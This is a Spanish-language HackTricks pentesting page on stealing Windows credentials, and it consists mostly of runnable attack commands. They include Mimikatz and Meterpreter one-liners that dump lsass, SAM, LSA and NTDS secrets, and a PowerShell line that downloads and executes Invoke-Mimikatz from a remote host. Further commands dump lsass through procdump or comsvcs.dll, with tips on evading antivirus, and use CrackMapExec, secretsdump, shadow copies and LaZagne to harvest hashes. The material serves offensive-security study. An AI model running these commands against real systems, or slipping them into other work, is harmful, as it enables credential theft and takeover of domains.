hacktricks/windows-hardening/stealing-credentials
2023-06-07 04:36:55 +00:00
..
credentials-mimikatz.md f 2023-06-05 20:33:24 +02:00
credentials-protections.md Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:36:55 +00:00
README.md f 2023-06-05 20:33:24 +02:00

Robando Credenciales de Windows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Mimikatz de Credenciales

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Encuentra otras cosas que Mimikatz puede hacer en esta página.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Aprenda sobre algunas posibles protecciones de credenciales aquí. Estas protecciones podrían evitar que Mimikatz extraiga algunas credenciales.

Credenciales con Meterpreter

Use el Plugin de Credenciales que he creado para buscar contraseñas y hashes dentro de la víctima.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Evadiendo AV

Procdump + Mimikatz

Como Procdump de SysInternals es una herramienta legítima de Microsoft, no es detectada por Defender.
Puedes usar esta herramienta para volcar el proceso lsass, descargar el volcado y extraer las credenciales localmente del volcado.

{% code title="Volcar lsass" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% endcode %}

{% code title="Extraer credenciales del volcado" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

Este proceso se realiza automáticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Nota: Algunos AV pueden detectar como malicioso el uso de procdump.exe para volcar lsass.exe, esto se debe a que están detectando las cadenas "procdump.exe" y "lsass.exe". Por lo tanto, es más sigiloso pasar como argumento el PID de lsass.exe a procdump en lugar de el nombre lsass.exe.

Volcando lsass con comsvcs.dll

Hay una DLL llamada comsvcs.dll, ubicada en C:\Windows\System32 que vuelca la memoria del proceso cada vez que falla. Esta DLL contiene una función llamada MiniDumpW que está escrita para que pueda ser llamada con rundll32.exe.
Los dos primeros argumentos no se utilizan, pero el tercero se divide en 3 partes. La primera parte es el ID del proceso que se volcará, la segunda parte es la ubicación del archivo de volcado y la tercera parte es la palabra full. No hay otra opción.
Una vez que se han analizado estos 3 argumentos, básicamente esta DLL crea el archivo de volcado y vuelca el proceso especificado en ese archivo de volcado.
Gracias a esta función, podemos usar comsvcs.dll para volcar el proceso lsass en lugar de subir procdump y ejecutarlo. (Esta información fue extraída de https://en.hackndo.com/remote-lsass-dump-passwords/)

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Solo debemos tener en cuenta que esta técnica solo se puede ejecutar como SYSTEM.

Puede automatizar este proceso con lssasy.

Volcado de lsass con el Administrador de tareas

  1. Haga clic derecho en la barra de tareas y haga clic en Administrador de tareas.
  2. Haga clic en Más detalles.
  3. Busque el proceso "Proceso de Autoridad de Seguridad Local" en la pestaña Procesos.
  4. Haga clic derecho en el proceso "Proceso de Autoridad de Seguridad Local" y haga clic en "Crear archivo de volcado".

Volcado de lsass con procdump

Procdump es un binario firmado por Microsoft que forma parte del conjunto de herramientas sysinternals.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

CrackMapExec

Volcado de hashes SAM

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Volcado de secretos LSA

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Volcar el archivo NTDS.dit del controlador de dominio objetivo

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Volcar el historial de contraseñas de NTDS.dit desde el controlador de dominio objetivo

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Mostrar el atributo pwdLastSet para cada cuenta de NTDS.dit

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Robando SAM & SYSTEM

Estos archivos deberían estar ubicados en C:\windows\system32\config\SAM y C:\windows\system32\config\SYSTEM. Pero no puedes simplemente copiarlos de manera regular porque están protegidos.

Desde el Registro

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Descarga esos archivos en tu máquina Kali y extrae los hashes usando:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Copia de sombra de volumen

Puedes realizar una copia de los archivos protegidos utilizando este servicio. Debes ser Administrador.

Usando vssadmin

El binario vssadmin solo está disponible en las versiones de Windows Server.

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Pero puedes hacer lo mismo desde Powershell. Este es un ejemplo de cómo copiar el archivo SAM (el disco duro utilizado es "C:" y se guarda en C:\users\Public) pero puedes usar esto para copiar cualquier archivo protegido:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Invoke-NinjaCopy

Por último, también se puede utilizar el script de PowerShell Invoke-NinjaCopy para hacer una copia de SAM, SYSTEM y ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Credenciales de Active Directory - NTDS.dit

El archivo Ntds.dit es una base de datos que almacena datos de Active Directory, incluyendo información sobre objetos de usuario, grupos y membresía de grupos. Incluye los hashes de contraseñas de todos los usuarios en el dominio.

El importante archivo NTDS.dit se encuentra en: %SystemRoom%/NTDS/ntds.dit
Este archivo es una base de datos Extensible Storage Engine (ESE) y está "oficialmente" compuesto por 3 tablas:

  • Tabla de datos: Contiene la información sobre los objetos (usuarios, grupos...)
  • Tabla de enlaces: Información sobre las relaciones (miembro de...)
  • Tabla SD: Contiene los descriptores de seguridad de cada objeto

Más información sobre esto: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows utiliza Ntdsa.dll para interactuar con ese archivo y es utilizado por lsass.exe. Entonces, parte del archivo NTDS.dit podría estar ubicado dentro de la memoria de lsass (puede encontrar los datos de acceso más recientes probablemente debido a la mejora del rendimiento mediante el uso de una caché).

Descifrando los hashes dentro de NTDS.dit

El hash está cifrado 3 veces:

  1. Descifrar la clave de cifrado de contraseña (PEK) usando el BOOTKEY y RC4.
  2. Descifrar el hash usando PEK y RC4.
  3. Descifrar el hash usando DES.

PEK tiene el mismo valor en cada controlador de dominio, pero está cifrado dentro del archivo NTDS.dit utilizando el BOOTKEY del archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio). Es por eso que para obtener las credenciales del archivo NTDS.dit necesita los archivos NTDS.dit y SYSTEM (C:\Windows\System32\config\SYSTEM).

Copiando NTDS.dit usando Ntdsutil

Disponible desde Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

También se puede utilizar el truco de volume shadow copy para copiar el archivo ntds.dit. Recuerda que también necesitarás una copia del archivo SYSTEM (de nuevo, dúmpealo del registro o utiliza el truco de volume shadow copy).

Extrayendo hashes de NTDS.dit

Una vez que hayas obtenido los archivos NTDS.dit y SYSTEM, puedes utilizar herramientas como secretsdump.py para extraer los hashes:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

También puedes extraerlas automáticamente utilizando un usuario de administrador de dominio válido:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Para archivos grandes NTDS.dit se recomienda extraerlos usando gosecretsdump.

Finalmente, también se puede utilizar el módulo de metasploit: post/windows/gather/credentials/domain_hashdump o mimikatz lsadump::lsa /inject

Extrayendo objetos de dominio de NTDS.dit a una base de datos SQLite

Los objetos NTDS se pueden extraer a una base de datos SQLite con ntdsdotsqlite. No solo se extraen secretos, sino también objetos completos y sus atributos para una mayor extracción de información cuando ya se ha recuperado el archivo NTDS.dit sin procesar.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

El archivo SYSTEM es opcional pero permite la descifrado de secretos (hashes NT y LM, credenciales suplementarias como contraseñas en texto claro, claves kerberos o de confianza, historiales de contraseñas NT y LM). Junto con otra información, se extraen los siguientes datos: cuentas de usuario y máquina con sus hashes, indicadores UAC, marca de tiempo del último inicio de sesión y cambio de contraseña, descripciones de cuentas, nombres, UPN, SPN, grupos y membresías recursivas, árbol de unidades organizativas y membresía, dominios de confianza con tipo, dirección y atributos de confianza...

Lazagne

Descargue el archivo binario desde aquí. Puede utilizar este archivo binario para extraer credenciales de varios programas.

lazagne.exe all

Otras herramientas para extraer credenciales de SAM y LSASS

Windows Credentials Editor (WCE)

Esta herramienta se puede utilizar para extraer credenciales de la memoria. Descárguela desde: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

Extrae credenciales del archivo SAM.

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Extrae credenciales del archivo SAM

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Descárgalo desde: http://www.tarasco.org/security/pwdump_7 y simplemente ejecútalo y las contraseñas serán extraídas.

Defensas

Aprende sobre algunas protecciones de credenciales aquí.

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥